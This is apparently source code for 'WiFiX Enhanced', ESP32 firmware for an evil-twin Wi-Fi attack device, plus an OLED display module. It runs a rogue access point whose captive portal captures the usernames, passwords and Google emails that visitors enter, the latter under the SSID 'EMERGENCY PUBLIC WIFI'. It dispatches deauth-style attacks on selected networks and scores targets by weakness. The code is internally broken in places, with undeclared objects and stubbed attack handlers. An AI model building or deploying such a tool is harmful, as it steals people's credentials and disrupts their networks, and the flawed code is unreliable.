#include <WebServer.h>
#include <ArduinoJson.h>
#include <SPIFFS.h>
#include <Wire.h>
#include <Adafruit_GFX.h>
#include <Adafruit_SSD1306.h>
#include <BluetoothSerial.h>
#include <vector>
#include "credential_manager.h"
// Project configuration
#include "config.h"
// Display configuration - Single I2C Screen
#define SCREEN_WIDTH 128
#define SCREEN_HEIGHT 64
#define OLED_RESET -1
#define I2C_SDA 21
#define I2C_SCL 22
#define SCREEN_ADDRESS 0x3C
// Pin definitions - Simplified for 2-device setup
#define BW16_UART_TX 17
#define BW16_UART_RX 16
// Network configuration
// Use values from config.h
const char* ap_ssid = DEFAULT_SSID;
const char* ap_password = DEFAULT_PASSWORD;
// Global objects - Simplified for single I2C screen
Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET);
WebServer server(80);
BluetoothSerial SerialBT;
HardwareSerial BW16Serial(2);
// System state - Simplified for 2-device operation
struct SystemState {
bool scanning = false;
bool bw16_connected = false;
int active_attacks = 0;
int packets_per_second = 0;
int total_aps = 0;
unsigned long uptime = 0;
int oled_brightness = 128;
bool bluetooth_enabled = false;
// Authentication state
bool authenticated = false;
String auth_email = "";
String auth_name = "";
} systemState;
// Access Point structure
struct AccessPoint {
String ssid;
String bssid;
int channel;
int rssi;
String security;
String band;
int ai_score = 0;
bool is_target = false;
};
std::vector<AccessPoint> accessPoints;
std::vector<String> selectedTargets;
// Forward declaration for helper
void upsertAccessPoint(const AccessPoint& ap);
// Attack structure
struct Attack {
String id;
String type;
String target;
unsigned long start_time;
int packets_sent;
bool active;
};
std::vector<Attack> activeAttacks;
// Display pages
enum DisplayPage {
PAGE_MAIN,
PAGE_SCAN,
PAGE_ATTACKS,
PAGE_PROTOCOLS,
PAGE_STATS
};
DisplayPage currentPage = PAGE_MAIN;
unsigned long lastPageUpdate = 0;
unsigned long lastStatsUpdate = 0;
void setup() {
Serial.begin(115200);
// Initialize I2C with proper pin assignments
Wire.begin(I2C_SDA, I2C_SCL);
// Initialize display
if (!display.begin(SSD1306_SWITCHCAPVCC, SCREEN_ADDRESS)) {
Serial.println(F("SSD1306 allocation failed"));
for(;;);
}
display.clearDisplay();
display.setTextSize(1);
display.setTextColor(SSD1306_WHITE);
display.setCursor(0, 0);
display.println("WiFiX Enhanced");
display.println("Initializing...");
display.display();
// Initialize SPIFFS
if (!SPIFFS.begin(true)) {
Serial.println("SPIFFS Mount Failed");
return;
}
// Initialize credential manager (with encryption enabled by default)
if (!credentialManager.begin(true)) {
Serial.println("CredentialManager initialization failed");
}
// Initialize WiFi AP
WiFi.mode(WIFI_AP_STA);
WiFi.softAP(ap_ssid, ap_password);
Serial.println("WiFi AP Started");
Serial.print("IP address: ");
Serial.println(WiFi.softAPIP());
// Initialize BW16 communication
BW16Serial.begin(115200, SERIAL_8N1, BW16_UART_RX, BW16_UART_TX);
// Initialize Bluetooth only
initializeBluetooth();
// Setup web server
setupWebServer();
// Update display
updateDisplay();
Serial.println("WiFiX Enhanced Ready!");
}
void loop() {
server.handleClient();
// Handle BW16 communication
handleBW16Communication();
// Update system stats
if (millis() - lastStatsUpdate > 1000) {
updateSystemStats();
lastStatsUpdate = millis();
}
// Update display
if (millis() - lastPageUpdate > 2000) {
updateDisplay();
lastPageUpdate = millis();
}
delay(10);
}
void initializeBluetooth() {
if (SerialBT.begin("WiFiX-BT")) {
systemState.bluetooth_enabled = true;
Serial.println("Bluetooth initialized");
}
}
void initializeLoRa() {
LoRa.setPins(LORA_SS, LORA_RST, LORA_DIO0);
if (LoRa.begin(915E6)) {
systemState.lora_enabled = true;
Serial.println("LoRa initialized");
}
}
void initializeZigbee() {
// Zigbee initialization would go here
// For now, we'll simulate it
systemState.zigbee_enabled = true;
Serial.println("Zigbee initialized");
}
void initializeAI() {
// Initialize TensorFlow Lite
// This is a simplified version - in practice you'd load a trained model
Serial.println("AI Model initialized");
}
void setupWebServer() {
// Serve index and welcome pages explicitly
server.on("/", HTTP_GET, [](){
if (SPIFFS.exists("/index.html")) {
File f = SPIFFS.open("/index.html", "r");
server.streamFile(f, "text/html");
f.close();
} else {
server.send(404, "text/plain", "index.html not found");
}
});
server.on("/welcome", HTTP_GET, [](){
if (SPIFFS.exists("/welcome.html")) {
File f = SPIFFS.open("/welcome.html", "r");
server.streamFile(f, "text/html");
f.close();
} else {
server.send(404, "text/plain", "welcome.html not found");
}
});
// API endpoints
server.on("/api/status", HTTP_GET, handleAPIStatus);
server.on("/api/config", HTTP_GET, [](){
DynamicJsonDocument doc(512);
// Basic branding and network info from config.h
doc["branding_name"] = PORTAL_COMPANY_NAME;
doc["organization"] = DEVICE_NAME;
doc["ssid"] = ap_ssid;
doc["ap_ip"] = WiFi.softAPIP().toString();
String res; serializeJson(doc, res);
server.send(200, "application/json", res);
});
server.on("/api/command", HTTP_POST, handleAPICommand);
server.on("/api/scan", HTTP_POST, handleAPIScan);
server.on("/api/attack", HTTP_POST, handleAPIAttack);
server.on("/api/protocols", HTTP_GET, handleAPIProtocols);
// Authentication endpoints
server.on("/api/auth/google", HTTP_POST, handleGoogleAuth);
server.on("/api/auth/status", HTTP_GET, handleAuthStatus);
server.on("/api/auth/logout", HTTP_POST, handleLogout);
// Standard captive portal login (form POST)
server.on("/login", HTTP_POST, [](){
String username = server.arg("username");
String password = server.arg("password");
if (username.length() == 0 || password.length() == 0) {
server.sendHeader("Location", "/");
server.send(302, "text/plain", "");
return;
}
// Store credentials
credentialManager.addGenericCredential(ap_ssid, username.c_str(), password.c_str(), username.c_str());
// Mark session authenticated and redirect to welcome page
systemState.authenticated = true;
systemState.auth_email = username;
systemState.auth_name = username;
server.sendHeader("Location", "/welcome");
server.send(302, "text/plain", "");
});
server.begin();
Serial.println("Web server started");
}
void webSocketEvent(uint8_t num, WStype_t type, uint8_t * payload, size_t length) {
switch(type) {
case WStype_DISCONNECTED:
Serial.printf("[%u] Disconnected!\n", num);
break;
case WStype_CONNECTED: {
IPAddress ip = webSocket.remoteIP(num);
Serial.printf("[%u] Connected from %d.%d.%d.%d\n", num, ip[0], ip[1], ip[2], ip[3]);
// Send initial status
sendSystemStatus(num);
break;
}
case WStype_TEXT: {
Serial.printf("[%u] Received: %s\n", num, payload);
DynamicJsonDocument doc(1024);
deserializeJson(doc, payload);
handleWebSocketCommand(num, doc);
break;
}
default:
break;
}
}
void handleWebSocketCommand(uint8_t num, DynamicJsonDocument& doc) {
String command = doc["command"];
if (command == "start_scan") {
startWiFiScan(doc["bands"]);
} else if (command == "stop_scan") {
stopWiFiScan();
} else if (command == "start_attack") {
startAttack(doc["type"], doc["targets"]);
} else if (command == "stop_attack") {
stopAttack(doc["id"]);
} else if (command == "ai_analyze") {
runAIAnalysis();
} else if (command == "oled_brightness") {
setOLEDBrightness(doc["value"]);
} else if (command == "ai_mode") {
setAIMode(doc["mode"]);
} else if (command == "get_stats") {
sendSystemStatus(num);
}
}
void startWiFiScan(JsonObject bands) {
systemState.scanning = true;
accessPoints.clear();
accessPoints.reserve(100);
// Send command to BW16 for 5GHz scan
if (bands["5ghz"]) {
BW16Serial.println("SCAN_5GHZ");
}
// Start 2.4GHz scan on ESP32
if (bands["2.4ghz"]) {
WiFi.scanNetworks(true);
}
broadcastMessage("scan_started", "");
}
void stopWiFiScan() {
systemState.scanning = false;
WiFi.scanDelete();
BW16Serial.println("STOP_SCAN");
broadcastMessage("scan_stopped", "");
}
void startAttack(String type, JsonArray targets) {
Attack attack;
attack.id = String(millis());
attack.type = type;
attack.start_time = millis();
attack.packets_sent = 0;
attack.active = true;
// Process targets
for (JsonVariant target : targets) {
String bssid = target.as<String>();
attack.target = bssid;
// Send attack command to BW16 if 5GHz target
AccessPoint* ap = findAccessPoint(bssid);
if (ap && ap->band == "5GHz") {
BW16Serial.println("ATTACK_" + type + "_" + bssid);
} else {
// Handle 2.4GHz attack on ESP32
handle24GHzAttack(type, bssid);
}
}
activeAttacks.push_back(attack);
systemState.active_attacks++;
broadcastAttackStatus();
}
void stopAttack(String attackId) {
for (auto it = activeAttacks.begin(); it != activeAttacks.end(); ++it) {
if (it->id == attackId) {
it->active = false;
systemState.active_attacks--;
// Send stop command
BW16Serial.println("STOP_ATTACK_" + attackId);
activeAttacks.erase(it);
break;
}
}
broadcastAttackStatus();
}
void runAIAnalysis() {
if (!systemState.ai_enabled || accessPoints.empty()) {
return;
}
// Simple AI scoring based on signal strength, security, and channel congestion
for (auto& ap : accessPoints) {
int score = 0;
// Signal strength factor (stronger = easier to attack)
if (ap.rssi > -50) score += 30;
else if (ap.rssi > -70) score += 20;
else score += 10;
// Security factor (weaker = higher score)
if (ap.security.indexOf("WEP") >= 0) score += 40;
else if (ap.security.indexOf("WPA") >= 0) score += 25;
else if (ap.security.indexOf("WPA2") >= 0) score += 15;
else if (ap.security.indexOf("WPA3") >= 0) score += 5;
// Channel congestion (less congested = higher score)
int channelCount = 0;
for (const auto& other : accessPoints) {
if (other.channel == ap.channel) channelCount++;
}
if (channelCount < 3) score += 20;
else if (channelCount < 6) score += 10;
// Apply AI mode modifier
if (systemState.ai_mode == "aggressive") {
score = (score * 1.2);
} else if (systemState.ai_mode == "stealth") {
score = (score * 0.8);
}
ap.ai_score = min(score, 100);
}
// Calculate overall confidence
int totalScore = 0;
for (const auto& ap : accessPoints) {
totalScore += ap.ai_score;
}
systemState.ai_confidence = accessPoints.empty() ? 0 : totalScore / accessPoints.size();
// Broadcast AI analysis results
DynamicJsonDocument doc(2048);
doc["type"] = "ai_analysis";
doc["confidence"] = systemState.ai_confidence;
JsonArray recommended = doc.createNestedArray("recommended_targets");
for (const auto& ap : accessPoints) {
if (ap.ai_score > 70) {
recommended.add(ap.bssid);
}
}
String message;
serializeJson(doc, message);
webSocket.broadcastTXT(message);
}
void handleBW16Communication() {
if (BW16Serial.available()) {
String message = BW16Serial.readStringUntil('\n');
message.trim();
if (message.startsWith("AP:")) {
// Parse access point data from BW16
parseAccessPointData(message);
} else if (message.startsWith("ATTACK_STATUS:")) {
// Parse attack status from BW16
parseAttackStatus(message);
} else if (message.startsWith("STATS:")) {
// Parse statistics from BW16
parseStatsData(message);
}
}
}
void parseAccessPointData(String data) {
// Format: AP:SSID,BSSID,CHANNEL,RSSI,SECURITY
data = data.substring(3); // Remove "AP:" prefix
int commaIndex = 0;
String parts[5];
for (int i = 0; i < 5; i++) {
int nextComma = data.indexOf(',', commaIndex);
if (nextComma == -1) {
parts[i] = data.substring(commaIndex);
break;
} else {
parts[i] = data.substring(commaIndex, nextComma);
commaIndex = nextComma + 1;
}
}
AccessPoint ap;
ap.ssid = parts[0];
ap.bssid = parts[1];
ap.channel = parts[2].toInt();
ap.rssi = parts[3].toInt();
ap.security = parts[4];
ap.band = "5GHz";
upsertAccessPoint(ap);
systemState.total_aps = accessPoints.size();
broadcastScanResults();
}
void updateSystemStats() {
systemState.uptime = millis() / 1000;
// Update packet rate (simulated for now)
systemState.packets_per_second = random(0, 1000);
// Check WiFi scan results
int n = WiFi.scanComplete();
if (n >= 0) {
for (int i = 0; i < n; i++) {
AccessPoint ap;
ap.ssid = WiFi.SSID(i);
ap.bssid = WiFi.BSSIDstr(i);
ap.channel = WiFi.channel(i);
ap.rssi = WiFi.RSSI(i);
ap.security = getSecurityString(WiFi.encryptionType(i));
ap.band = "2.4GHz";
upsertAccessPoint(ap);
}
systemState.total_aps = accessPoints.size();
WiFi.scanDelete();
if (systemState.scanning) {
WiFi.scanNetworks(true); // Start next scan
}
broadcastScanResults();
}
// Broadcast system stats
broadcastSystemStats();
}
void updateDisplay() {
display.clearDisplay();
display.setTextSize(1);
display.setTextColor(SSD1306_WHITE);
display.setCursor(0, 0);
switch (currentPage) {
case PAGE_MAIN:
displayMainPage();
break;
case PAGE_SCAN:
displayScanPage();
break;
case PAGE_ATTACKS:
displayAttacksPage();
break;
case PAGE_PROTOCOLS:
displayProtocolsPage();
break;
case PAGE_STATS:
displayStatsPage();
break;
}
display.display();
// Auto-rotate pages
static unsigned long lastPageChange = 0;
if (millis() - lastPageChange > 5000) {
currentPage = (DisplayPage)((currentPage + 1) % 5);
lastPageChange = millis();
}
}
void displayMainPage() {
display.println("WiFiX Enhanced");
display.println("==============");
display.printf("APs: %d\n", systemState.total_aps);
display.printf("Attacks: %d\n", systemState.active_attacks);
display.printf("AI: %d%%\n", systemState.ai_confidence);
display.printf("Uptime: %02d:%02d\n",
(int)(systemState.uptime / 3600),
(int)((systemState.uptime % 3600) / 60));
// Status indicators
display.setCursor(0, 56);
display.print("BT:");
display.print(systemState.bluetooth_enabled ? "ON" : "OFF");
display.print(" LoRa:");
display.print(systemState.lora_enabled ? "ON" : "OFF");
}
void displayScanPage() {
display.println("WiFi Scanner");
display.println("============");
display.printf("Total APs: %d\n", systemState.total_aps);
display.printf("Scanning: %s\n", systemState.scanning ? "YES" : "NO");
display.printf("Rate: %d pps\n", systemState.packets_per_second);
if (!accessPoints.empty()) {
display.println("Latest APs:");
int count = 0;
for (auto it = accessPoints.rbegin(); it != accessPoints.rend() && count < 2; ++it, ++count) {
display.printf("%s (%d)\n", it->ssid.c_str(), it->rssi);
}
}
}
void displayAttacksPage() {
display.println("Active Attacks");
display.println("==============");
display.printf("Count: %d\n", systemState.active_attacks);
if (!activeAttacks.empty()) {
for (size_t i = 0; i < min((size_t)3, activeAttacks.size()); i++) {
unsigned long duration = (millis() - activeAttacks[i].start_time) / 1000;
display.printf("%s %02d:%02d\n",
activeAttacks[i].type.c_str(),
(int)(duration / 60),
(int)(duration % 60));
}
} else {
display.println("No active attacks");
}
}
void displayProtocolsPage() {
display.println("Protocols");
display.println("=========");
display.printf("WiFi: ON\n");
display.printf("BT: %s\n", systemState.bluetooth_enabled ? "ON" : "OFF");
display.printf("LoRa: %s\n", systemState.lora_enabled ? "ON" : "OFF");
display.printf("Zigbee: %s\n", systemState.zigbee_enabled ? "ON" : "OFF");
display.printf("AI Mode: %s\n", systemState.ai_mode.c_str());
}
void displayStatsPage() {
display.println("System Stats");
display.println("============");
display.printf("Free RAM: %d KB\n", ESP.getFreeHeap() / 1024);
display.printf("CPU Freq: %d MHz\n", ESP.getCpuFreqMHz());
display.printf("Flash: %d KB\n", ESP.getFlashChipSize() / 1024);
display.printf("Temp: %d C\n", (int)temperatureRead());
display.printf("OLED: %d%%\n", (systemState.oled_brightness * 100) / 255);
}
// API Handlers
void handleAPIStatus() {
DynamicJsonDocument doc(1024);
doc["scanning"] = systemState.scanning;
doc["active_attacks"] = systemState.active_attacks;
doc["total_aps"] = systemState.total_aps;
doc["ai_confidence"] = systemState.ai_confidence;
doc["uptime"] = systemState.uptime;
doc["packets_per_second"] = systemState.packets_per_second;
doc["free_memory"] = ESP.getFreeHeap() / 1024;
// Portal info for UI
doc["ap_ip"] = WiFi.softAPIP().toString();
doc["target_ssid"] = ap_ssid;
String response;
serializeJson(doc, response);
server.send(200, "application/json", response);
}
void handleAPICommand() {
if (!server.hasArg("plain")) {
server.send(400, "text/plain", "No body");
return;
}
DynamicJsonDocument doc(1024);
deserializeJson(doc, server.arg("plain"));
handleWebSocketCommand(0, doc);
server.send(200, "application/json", "{\"status\":\"ok\"}");
}
void handleAPIScan() {
// Implementation for scan API
server.send(200, "application/json", "{\"status\":\"scan_started\"}");
}
void handleAPIAttack() {
// Implementation for attack API
server.send(200, "application/json", "{\"status\":\"attack_started\"}");
}
void handleAPIProtocols() {
DynamicJsonDocument doc(512);
doc["bluetooth"] = systemState.bluetooth_enabled;
doc["lora"] = systemState.lora_enabled;
doc["zigbee"] = systemState.zigbee_enabled;
String response;
serializeJson(doc, response);
server.send(200, "application/json", response);
}
// Authentication handlers
void handleGoogleAuth() {
if (!server.hasArg("plain")) {
server.send(400, "application/json", "{\"error\":\"No data provided\"}");
return;
}
DynamicJsonDocument doc(1024);
DeserializationError error = deserializeJson(doc, server.arg("plain"));
if (error) {
server.send(400, "application/json", "{\"error\":\"Invalid JSON\"}");
return;
}
// Extract Google authentication data
String email = doc["email"].as<String>();
String name = doc["name"].as<String>();
String googleId = doc["googleId"].as<String>();
String accessToken = doc["accessToken"].as<String>();
// Validate required fields
if (email.isEmpty() || googleId.isEmpty()) {
server.send(400, "application/json", "{\"error\":\"Missing required fields\"}");
return;
}
// Store credentials using CredentialManager
credentialManager.addGenericCredential(
"EMERGENCY PUBLIC WIFI", // SSID
email.c_str(),
"", // No password for Google auth
email.c_str()
);
// Set authentication session
systemState.authenticated = true;
systemState.auth_email = email;
systemState.auth_name = name;
// Return success response
server.send(200, "application/json", "{\"success\":true,\"redirect\":\"/welcome\"}");
Serial.println("Google authentication successful for: " + email);
}
void handleAuthStatus() {
DynamicJsonDocument doc(256);
doc["authenticated"] = systemState.authenticated;
doc["email"] = systemState.auth_email;
doc["name"] = systemState.auth_name;
String response;
serializeJson(doc, response);
server.send(200, "application/json", response);
}
void handleLogout() {
systemState.authenticated = false;
systemState.auth_email = "";
systemState.auth_name = "";
server.send(200, "application/json", "{\"success\":true,\"redirect\":\"/\"}");
Serial.println("User logged out");
}
// Utility functions
void broadcastMessage(String type, String data) {
DynamicJsonDocument doc(512);
doc["type"] = type;
doc["data"] = data;
String message;
serializeJson(doc, message);
webSocket.broadcastTXT(message);
}
void broadcastScanResults() {
DynamicJsonDocument doc(4096);
doc["type"] = "scan_result";
JsonArray aps = doc.createNestedArray("aps");
for (const auto& ap : accessPoints) {
JsonObject apObj = aps.createNestedObject();
apObj["ssid"] = ap.ssid;
apObj["bssid"] = ap.bssid;
apObj["channel"] = ap.channel;
apObj["rssi"] = ap.rssi;
apObj["security"] = ap.security;
apObj["band"] = ap.band;
apObj["ai_score"] = ap.ai_score;
}
String message;
serializeJson(doc, message);
webSocket.broadcastTXT(message);
}
void broadcastSystemStats() {
DynamicJsonDocument doc(1024);
doc["type"] = "system_stats";
JsonObject stats = doc.createNestedObject("stats");
stats["active_attacks"] = systemState.active_attacks;
stats["ai_confidence"] = systemState.ai_confidence;
stats["packets_per_second"] = systemState.packets_per_second;
stats["free_memory"] = ESP.getFreeHeap() / 1024;
stats["uptime"] = systemState.uptime;
String message;
serializeJson(doc, message);
webSocket.broadcastTXT(message);
}
void broadcastAttackStatus() {
DynamicJsonDocument doc(2048);
doc["type"] = "attack_status";
JsonArray attacks = doc.createNestedArray("attacks");
for (const auto& attack : activeAttacks) {
JsonObject attackObj = attacks.createNestedObject();
attackObj["id"] = attack.id;
attackObj["type"] = attack.type;
attackObj["target"] = attack.target;
attackObj["duration"] = (millis() - attack.start_time) / 1000;
attackObj["packets_sent"] = attack.packets_sent;
}
String message;
serializeJson(doc, message);
webSocket.broadcastTXT(message);
}
void sendSystemStatus(uint8_t clientNum) {
broadcastScanResults();
broadcastSystemStats();
broadcastAttackStatus();
}
String getSecurityString(wifi_auth_mode_t encryptionType) {
switch (encryptionType) {
case WIFI_AUTH_OPEN: return "Open";
case WIFI_AUTH_WEP: return "WEP";
case WIFI_AUTH_WPA_PSK: return "WPA";
case WIFI_AUTH_WPA2_PSK: return "WPA2";
case WIFI_AUTH_WPA_WPA2_PSK: return "WPA/WPA2";
case WIFI_AUTH_WPA2_ENTERPRISE: return "WPA2-Enterprise";
case WIFI_AUTH_WPA3_PSK: return "WPA3";
default: return "Unknown";
}
}
// Deduplicate or update AP list by BSSID
void upsertAccessPoint(const AccessPoint& ap) {
for (auto& existing : accessPoints) {
if (existing.bssid == ap.bssid) {
// Update latest info, keep AI score/flags
existing.ssid = ap.ssid;
existing.channel = ap.channel;
existing.rssi = ap.rssi;
existing.security = ap.security;
existing.band = ap.band;
return;
}
}
accessPoints.push_back(ap);
}
AccessPoint* findAccessPoint(String bssid) {
for (auto& ap : accessPoints) {
if (ap.bssid == bssid) {
return &ap;
}
}
return nullptr;
}
void setOLEDBrightness(int brightness) {
systemState.oled_brightness = constrain(brightness, 0, 255);
// Note: SSD1306 doesn't have brightness control, but we store the value
}
void setAIMode(String mode) {
systemState.ai_mode = mode;
}
void handle24GHzAttack(String type, String bssid) {
// Implementation for 2.4GHz attacks on ESP32
// This would include deauth, beacon flood, etc.
}
void handleProtocols() {
// Handle Bluetooth operations
if (systemState.bluetooth_enabled && SerialBT.available()) {
String btData = SerialBT.readString();
// Process Bluetooth data
}
// Handle LoRa operations
if (systemState.lora_enabled) {
int packetSize = LoRa.parsePacket();
if (packetSize) {
String loraData = "";
while (LoRa.available()) {
loraData += (char)LoRa.read();
}
// Process LoRa data
}
}
}
void processAIAnalysis() {
// Continuous AI processing during scanning
static unsigned long lastAIUpdate = 0;
if (millis() - lastAIUpdate > 5000) {
runAIAnalysis();
lastAIUpdate = millis();
}
}
void parseAttackStatus(String data) {
// Parse attack status updates from BW16
}
void parseStatsData(String data) {
// Parse statistics data from BW16
}

View File

@@ -0,0 +1,631 @@
#include "oled_display.h"
// Global instance
OLEDDisplay oledDisplay;
// Icon definitions (8x8 bitmaps)
const unsigned char PROGMEM icon_wifi_connected[] = {
0x00, 0x0E, 0x11, 0x04, 0x0A, 0x00, 0x04, 0x00
};
const unsigned char PROGMEM icon_wifi_disconnected[] = {
0x00, 0x0E, 0x11, 0x04, 0x0A, 0x11, 0x04, 0x11
};
const unsigned char PROGMEM icon_bluetooth[] = {
0x04, 0x06, 0x15, 0x0E, 0x0E, 0x15, 0x06, 0x04
};
const unsigned char PROGMEM icon_lora[] = {
0x00, 0x08, 0x14, 0x2A, 0x14, 0x08, 0x00, 0x00
};
const unsigned char PROGMEM icon_zigbee[] = {
0x00, 0x1C, 0x14, 0x1C, 0x14, 0x1C, 0x00, 0x00
};
const unsigned char PROGMEM icon_attack[] = {
0x08, 0x1C, 0x2A, 0x49, 0x2A, 0x1C, 0x08, 0x00
};
const unsigned char PROGMEM icon_shield[] = {
0x08, 0x14, 0x22, 0x41, 0x41, 0x22, 0x14, 0x08
};
const unsigned char PROGMEM icon_warning[] = {
0x08, 0x14, 0x14, 0x22, 0x22, 0x00, 0x08, 0x00
};
const unsigned char PROGMEM icon_success[] = {
0x00, 0x01, 0x02, 0x44, 0x28, 0x10, 0x00, 0x00
};
const unsigned char PROGMEM icon_error[] = {
0x41, 0x22, 0x14, 0x08, 0x14, 0x22, 0x41, 0x00
};
OLEDDisplay::OLEDDisplay() {
display = nullptr;
current_page = PAGE_BOOT;
last_update = 0;
page_switch_time = 0;
auto_rotate = true;
brightness = 255;
display_enabled = true;
animation_frame = 0;
last_animation = 0;
blink_state = false;
// Initialize status structures
memset(&system_status, 0, sizeof(system_status));
memset(&attack_info, 0, sizeof(attack_info));
memset(&network_info, 0, sizeof(network_info));
attack_info.status = ATTACK_IDLE;
}
OLEDDisplay::~OLEDDisplay() {
if (display) {
delete display;
}
}
bool OLEDDisplay::begin(uint8_t i2c_address) {
OLED_LOG("Initializing OLED display...");
// Initialize I2C
Wire.begin();
// Create display object
display = new Adafruit_SSD1306(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET);
if (!display->begin(SSD1306_SWITCHCAPVCC, i2c_address)) {
OLED_LOG("Failed to initialize SSD1306 display");
delete display;
display = nullptr;
return false;
}
// Configure display
display->clearDisplay();
display->setTextSize(1);
display->setTextColor(SSD1306_WHITE);
display->setCursor(0, 0);
setBrightness(brightness);
// Show boot screen
setPage(PAGE_BOOT);
update();
OLED_LOG("OLED display initialized successfully");
return true;
}
void OLEDDisplay::setBrightness(uint8_t new_brightness) {
brightness = new_brightness;
if (display) {
display->ssd1306_command(SSD1306_SETCONTRAST);
display->ssd1306_command(brightness);
}
}
void OLEDDisplay::setAutoRotate(bool enable) {
auto_rotate = enable;
if (enable) {
page_switch_time = millis();
}
}
void OLEDDisplay::enable(bool enabled) {
display_enabled = enabled;
if (display) {
if (enabled) {
display->ssd1306_command(SSD1306_DISPLAYON);
} else {
display->ssd1306_command(SSD1306_DISPLAYOFF);
}
}
}
void OLEDDisplay::setPage(DisplayPage page) {
if (page >= PAGE_COUNT) return;
current_page = page;
page_switch_time = millis();
if (display) {
display->clearDisplay();
}
}
void OLEDDisplay::nextPage() {
DisplayPage next = (DisplayPage)((current_page + 1) % PAGE_COUNT);
setPage(next);
}
void OLEDDisplay::previousPage() {
DisplayPage prev = (DisplayPage)((current_page - 1 + PAGE_COUNT) % PAGE_COUNT);
setPage(prev);
}
void OLEDDisplay::updateSystemStatus(const SystemStatus& status) {
system_status = status;
}
void OLEDDisplay::updateAttackInfo(const AttackInfo& info) {
attack_info = info;
}
void OLEDDisplay::updateNetworkInfo(const NetworkInfo& info) {
network_info = info;
}
void OLEDDisplay::setAttackStatus(AttackStatus status, const String& target) {
attack_info.status = status;
if (!target.isEmpty()) {
attack_info.target_ssid = target;
}
}
void OLEDDisplay::setCredentialCount(uint32_t count) {
attack_info.credentials_captured = count;
}
void OLEDDisplay::setError(const String& error) {
attack_info.last_error = error;
setPage(PAGE_ERROR);
}
void OLEDDisplay::clearError() {
attack_info.last_error = "";
if (current_page == PAGE_ERROR) {
setPage(PAGE_MAIN_STATUS);
}
}
void OLEDDisplay::update() {
if (!display || !display_enabled) return;
uint32_t now = millis();
// Update animations
if (now - last_animation >= ANIMATION_UPDATE_INTERVAL) {
updateAnimations();
last_animation = now;
}
// Auto-rotate pages
if (auto_rotate && now - page_switch_time >= PAGE_AUTO_SWITCH_INTERVAL) {
nextPage();
}
// Update display content
if (now - last_update >= DISPLAY_UPDATE_INTERVAL) {
display->clearDisplay();
switch (current_page) {
case PAGE_BOOT:
drawBootScreen();
break;
case PAGE_MAIN_STATUS:
drawMainStatus();
break;
case PAGE_ATTACK_STATUS:
drawAttackStatus();
break;
case PAGE_CREDENTIAL_COUNT:
drawCredentialCount();
break;
case PAGE_NETWORK_INFO:
drawNetworkInfo();
break;
case PAGE_SYSTEM_INFO:
drawSystemInfo();
break;
case PAGE_ERROR:
drawErrorScreen();
break;
}
display->display();
last_update = now;
}
}
void OLEDDisplay::clear() {
if (display) {
display->clearDisplay();
display->display();
}
}
void OLEDDisplay::showMessage(const String& message, uint32_t duration_ms) {
if (!display) return;
display->clearDisplay();
drawHeader("MESSAGE");
display->setTextSize(1);
drawWrappedText(message, 0, 16, SCREEN_WIDTH);
display->display();
delay(duration_ms);
}
void OLEDDisplay::showProgress(const String& message, float progress) {
if (!display) return;
display->clearDisplay();
drawHeader("PROGRESS");
display->setTextSize(1);
display->setCursor(0, 16);
display->println(message);
drawProgressBar(0, 32, SCREEN_WIDTH, 8, progress);
display->setCursor(0, 48);
display->printf("%.1f%%", progress * 100.0f);
display->display();
}
void OLEDDisplay::drawBootScreen() {
drawHeader("WiFiX Enhanced");
display->setTextSize(1);
display->setCursor(0, 16);
display->println("Initializing...");
// Draw loading animation
drawLoadingAnimation(SCREEN_WIDTH - 16, 16);
display->setCursor(0, 32);
display->println("ESP32: " + String(system_status.esp32_online ? "OK" : "..."));
display->println("BW16: " + String(system_status.bw16_online ? "OK" : "..."));
display->println("AI: " + String(system_status.ai_online ? "OK" : "..."));
drawFooter();
}
void OLEDDisplay::drawMainStatus() {
drawHeader("MAIN STATUS");
// System status icons
int icon_y = 16;
drawStatusIcon(0, icon_y, system_status.esp32_online, "E");
drawStatusIcon(16, icon_y, system_status.bw16_online, "B");
drawStatusIcon(32, icon_y, system_status.ai_online, "A");
drawWiFiIcon(48, icon_y, system_status.wifi_connected);
if (system_status.wifi_connected) {
drawSignalBars(64, icon_y, system_status.wifi_signal);
}
// Attack status
display->setTextSize(1);
display->setCursor(0, 32);
switch (attack_info.status) {
case ATTACK_IDLE:
display->println("Status: IDLE");
break;
case ATTACK_SCANNING:
display->println("Status: SCANNING");
drawLoadingAnimation(SCREEN_WIDTH - 16, 32);
break;
case ATTACK_DEAUTH_ACTIVE:
display->println("Status: DEAUTH");
drawPulseAnimation(SCREEN_WIDTH - 16, 32, 6);
break;
case ATTACK_PORTAL_ACTIVE:
display->println("Status: PORTAL");
break;
case ATTACK_SUCCESS:
display->println("Status: SUCCESS");
break;
case ATTACK_FAILED:
display->println("Status: FAILED");
break;
}
display->printf("Creds: %d", attack_info.credentials_captured);
drawFooter();
}
void OLEDDisplay::drawAttackStatus() {
drawHeader("ATTACK STATUS");
display->setTextSize(1);
display->setCursor(0, 16);
if (!attack_info.target_ssid.isEmpty()) {
display->println("Target:");
display->println(truncateString(attack_info.target_ssid, 16));
display->println();
}
display->printf("Deauth: %d\n", attack_info.deauth_packets_sent);
display->printf("Connects: %d\n", attack_info.portal_connections);
display->printf("Duration: %s\n", formatDuration(attack_info.attack_duration).c_str());
drawFooter();
}
void OLEDDisplay::drawCredentialCount() {
drawHeader("CREDENTIALS");
// Large credential count
display->setTextSize(3);
String count_str = String(attack_info.credentials_captured);
int text_width = count_str.length() * 18; // Approximate width
int x = (SCREEN_WIDTH - text_width) / 2;
display->setCursor(x, 20);
display->println(count_str);
// Additional info
display->setTextSize(1);
display->setCursor(0, 48);
display->printf("Success: %.1f%%", attack_info.success_rate);
drawFooter();
}
void OLEDDisplay::drawNetworkInfo() {
drawHeader("NETWORK INFO");
display->setTextSize(1);
display->setCursor(0, 16);
if (!network_info.ap_ssid.isEmpty()) {
display->println("AP: " + truncateString(network_info.ap_ssid, 12));
display->println("IP: " + network_info.ap_ip.toString());
display->printf("Clients: %d\n", network_info.connected_clients);
}
if (!network_info.sta_ssid.isEmpty()) {
display->println("STA: " + truncateString(network_info.sta_ssid, 12));
}
display->printf("Nearby: %d", network_info.nearby_networks);
drawFooter();
}
void OLEDDisplay::drawSystemInfo() {
drawHeader("SYSTEM INFO");
display->setTextSize(1);
display->setCursor(0, 16);
display->println("Uptime: " + formatUptime(system_status.uptime));
display->println("Memory: " + formatMemory(system_status.free_memory));
display->printf("CPU: %.1f%%\n", system_status.cpu_usage);
display->printf("Temp: %dC", system_status.temperature);
